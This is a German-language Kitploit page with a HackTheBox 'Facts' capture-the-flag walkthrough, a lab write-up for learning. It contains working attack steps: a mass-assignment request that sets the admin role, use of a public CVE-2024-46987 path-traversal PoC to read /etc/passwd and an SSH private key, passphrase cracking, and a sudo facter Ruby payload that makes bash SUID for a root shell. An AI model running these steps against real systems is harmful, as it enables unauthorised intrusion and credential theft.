Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
HackTheBox-Facts — HTB Facts is a Easy Linux box featuring Camaleon CMS and MinIO. Gain admin access via open registration and a mass assignment vulnerability, then extract MinIO credentials from admin settings. Use CVE-2024-46987 path traversal to steal an SSH private key, crack its passphrase, and escalate to root by abusing sudo permissions on facter via GTFOBins. | Kitploit
Tools/GitHubGitHub/suriyaboon/hackthebox-facts
Privilege EscalationReconnaissancePassword AttacksVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingCloud Security

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

HTB Facts is a Easy Linux box featuring Camaleon CMS and MinIO. Gain admin access via open registration and a mass assignment vulnerability, then extract MinIO credentials from admin settings. Use CVE-2024-46987 path traversal to steal an SSH private key, crack its passphrase, and escalate to root by abusing sudo permissions on facter via GTFOBins.

Learning & Education
GitHubsuriyaboon/hackthebox-facts

HackTheBox-Facts

Repository anzeigen
vor 2 MonatenNoch nicht geprüft
Teilen

HTB Facts — Vollständiger Writeup

Schwierigkeit: Mittel
OS: Linux
Tags: Web, MinIO, Camaleon CMS, Pfad-Traversal, SSTI, Privilegieneskalation


Inhaltsverzeichnis

  1. Aufklärung
  2. Web-Enumeration — Port 80
  3. MinIO-Entdeckung — Port 54321
  4. Camaleon CMS — Admin-Zugriff
  5. Privilegieneskalation zur Admin-Rolle
  6. MinIO-Zugangsdaten entdecken
  7. Beliebiges Dateilesen — CVE-2024-46987
  8. SSH-Zugriff als trivia
  9. Privilegieneskalation zu root
  10. Flags

Aufklärung

Beginnen Sie mit einem vollständigen TCP-Portscan, um offene Dienste zu identifizieren.

root@kitploit:~
nmap -p- --min-rate 5000 -T4 10.129.244.96

Ergebnisse:

PortDienstAnmerkungen
22SSHOpenSSH
80HTTPNginx 1.26.3 (Ubuntu)
54321UnbekanntIdentifiziert als MinIO

Fügen Sie das Ziel zu /etc/hosts hinzu:

root@kitploit:~
echo "10.129.244.96 facts.htb" >> /etc/hosts

Web-Enumeration — Port 80

Der Aufruf von http://facts.htb zeigt eine Quiz-Website, die auf Camaleon CMS (Ruby on Rails) basiert. Wichtige Indikatoren:

  • Cookie-Name: _factsapp_session (Rails-Session)
  • Asset-Pfade: /assets/themes/camaleon_first/
  • CSRF-Token in Meta-Tags
  • Server: nginx/1.26.3 (Ubuntu)

Enumerieren Sie die Sitemap für alle verfügbaren Seiten:

root@kitploit:~
curl -s http://facts.htb/sitemap.xml

Bemerkenswerte Pfade gefunden:

  • /admin → leitet weiter zu /admin/login
  • /rss
  • Verschiedene Quiz-Seiten: /animal-ejected, /anne-frank, usw.

Prüfen Sie das Admin-Login-Panel:

root@kitploit:~
curl -v http://facts.htb/admin
# → 302 Weiterleitung zu /admin/login

MinIO-Entdeckung — Port 54321

Das Sondieren des unbekannten Ports mit curl zeigt MinIO, einen S3-kompatiblen Objektspeicherdienst:

root@kitploit:~
curl -v http://facts.htb:54321

Antwort:

root@kitploit:~
<Error>
  <Code>AccessDenied</Code>
  <Message>Access Denied.</Message>
</Error>

Header bestätigen: Server: MinIO

Enumerieren Sie potenzielle Bucket-Namen (alle geben 403 zurück, was ihre Existenz bestätigt):

root@kitploit:~
for bucket in facts backup uploads media files images data private secret admin internal; do
  code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
  echo "$bucket: $code"
done

Alle geben 403 Forbidden zurück – die Buckets existieren, benötigen aber Zugangsdaten.


Camaleon CMS — Admin-Zugriff

Identifizierung des CMS

Anhand der Asset-Pfade und des Session-Cookies wird das CMS als Camaleon CMS identifiziert.

Prüfen Sie auf bekannte Schwachstellen:

root@kitploit:~
searchsploit camaleon

Ergebnisse:

root@kitploit:~
Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI)   | ruby/webapps/51489.txt

Die Version des Admin-Panels wird als 2.9.0 bestätigt (sichtbar in der Fußzeile nach dem Login).

Erstellen eines Kontos

Die Admin-Login-Seite unter http://facts.htb/admin/login enthält einen Link “Create an account”. Registrieren Sie ein neues Konto:

  • Navigieren Sie zu http://facts.htb/admin/users/sign_up
  • Geben Sie beliebige gültige Anmeldedaten ein (z.B. test123 / test123)
  • Absenden – dies erstellt ein Konto mit der Rolle Client

Nach der Registrierung melden Sie sich am Admin-Dashboard an. Das Konto hat eingeschränkte Client-Berechtigungen.


Privilegieneskalation zur Admin-Rolle

Massenzuweisungs-Schwachstelle

Camaleon CMS ist anfällig für einen Massenzuweisungsangriff auf den Passwortänderungs-Endpunkt. Durch Abfangen der Passwortänderungsanfrage und Hinzufügen eines Parameters password[role] kann ein Angreifer seine eigene Rolle auf admin heraufstufen.

Schritte mit Burp Suite:

  1. Melden Sie sich mit dem Client-Konto am Admin-Panel an.
  2. Navigieren Sie zu Profile → Edit → Change Password.
  3. Geben Sie ein neues Passwort ein und klicken Sie auf Process.
  4. Fangen Sie die POST-Anfrage in Burp Suite ab.
  5. Fügen Sie &password[role]=admin an den Anforderungstext an:
root@kitploit:~
_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
  1. Leiten Sie die Anfrage weiter – die Antwort sollte 200 OK sein.
  2. Melden Sie sich erneut mit den aktualisierten Anmeldedaten an.

Das Konto hat jetzt Admin-Berechtigungen und gewährt vollen Zugriff auf das CMS-Admin-Panel, einschließlich Settings, Media und Filesystem Settings.


MinIO-Zugangsdaten entdecken

Navigieren Sie mit Admin-Zugriff zu:

root@kitploit:~
Einstellungen → Allgemeine Seite → Dateisystem-Einstellungen

Die Seite zeigt hartcodierte MinIO- (AWS S3-kompatible) Zugangsdaten:

root@kitploit:~
AWS S3 Access Key:    AKIA59D605615FFC8875
AWS S3 Secret Key:    O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name:   randomfacts
AWS S3 Region:        us-east-1
AWS S3 Endpoint:      http://localhost:54321

Konfigurieren Sie die AWS-CLI und enumerieren Sie die Buckets:

root@kitploit:~
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'

aws s3 ls --endpoint-url http://facts.htb:54321

Entdeckte Buckets:

root@kitploit:~
2025-09-11  internal
2025-09-11  randomfacts

Der Bucket internal enthält das Home-Verzeichnis des Benutzers trivia:

root@kitploit:~
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321

# Laden Sie den privaten SSH-Schlüssel herunter
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321

Beliebiges Dateilesen — CVE-2024-46987

Alternativ kann der private SSH-Schlüssel über CVE-2024-46987 abgerufen werden, eine authentifizierte Pfad-Traversal-Schwachstelle in Camaleon CMS, die das Lesen beliebiger Serverdateien ermöglicht.

Klonen Sie den öffentlichen PoC:

root@kitploit:~
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987

Lesen Sie sensible Dateien:

root@kitploit:~
# Schritt 1: /etc/passwd lesen, um Systembenutzer aufzulisten
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd

Ausgabe (relevante Zeilen):

root@kitploit:~
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

Zwei Benutzer werden identifiziert: trivia und william. Da trivia eine Login-Shell und ein Home-Verzeichnis hat, prüfen Sie auf einen privaten SSH-Schlüssel:

root@kitploit:~
# Schritt 2: Trivias privaten SSH-Schlüssel lesen
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519

Speichern Sie die Schlüsselausgabe in einer Datei:

root@kitploit:~
chmod 600 id_ed25519

SSH-Zugriff als trivia

Knacken der SSH-Key-Passphrase

Der private SSH-Schlüssel ist mit einer Passphrase verschlüsselt. Verwenden Sie ssh2john und john, um ihn zu knacken:

root@kitploit:~
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

Geknackte Passphrase: dragonballz

Login per SSH

root@kitploit:~
ssh -i id_ed25519 [email protected]
# Passphrase eingeben: dragonballz

Benutzer-Flag abrufen:

root@kitploit:~
cat /home/william/user.txt

Privilegieneskalation zu root

Sudo-Berechtigungen

Überprüfen Sie die Sudo-Berechtigungen des Benutzers trivia:

root@kitploit:~
sudo -l

Ausgabe:

root@kitploit:~
User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

Der Benutzer kann /usr/bin/facter als root ohne Passwort ausführen. facter ist ein Ruby-basiertes Systeminformationswerkzeug.

GTFOBins — facter

Laut GTFOBins kann facter benutzerdefinierte Ruby-Fact-Dateien über --custom-dir laden, die als aufrufender Benutzer (hier root) ausgeführt werden.

Exploit:

root@kitploit:~
# Exploit-Verzeichnis und Ruby-Payload erstellen
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/evil.rb << 'EOF'
system("chmod +s /bin/bash")
EOF

# facter als root mit dem benutzerdefinierten Verzeichnis ausführen
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x

# SUID-Bit auf bash überprüfen
ls -la /bin/bash
# -rwsr-sr-x 1 root root ...

# Root-Shell spawnen
/bin/bash -p

Root-Flag abrufen

root@kitploit:~
whoami
# root

cat /root/root.txt

Flags

FlaggeOrt
user.txt/home/william/user.txt
root.txt/root/root.txt

Zusammenfassung der Angriffskette

root@kitploit:~
Nmap-Scan
    ↓
Port 80: Camaleon CMS 2.9.0
    ↓
Client-Konto registrieren → Admin-Panel
    ↓
Massenzuweisung: password[role]=admin → Admin-Rolle
    ↓
Admin-Einstellungen → MinIO-Zugangsdaten offengelegt
    ↓
CVE-2024-46987: Pfad-Traversal → /home/trivia/.ssh/id_ed25519 lesen
    ↓
ssh2john + John → Passphrase: dragonballz
    ↓
SSH-Login als trivia
    ↓
sudo facter --custom-dir (GTFOBins) → chmod +s /bin/bash
    ↓
/bin/bash -p → root

CVEs und Referenzen

CVEBeschreibung
CVE-2024-46987Camaleon CMS – Authentifiziertes Pfad-Traversal / beliebiges Dateilesen
CVE-2023-30145Camaleon CMS v2.7.0 – SSTI über den Parameter formats (in dieser Box nicht verwendet)
  • GTFOBins — facter
  • CVE-2024-46987 PoC
  • Camaleon CMS GitHub
Tool herunterladen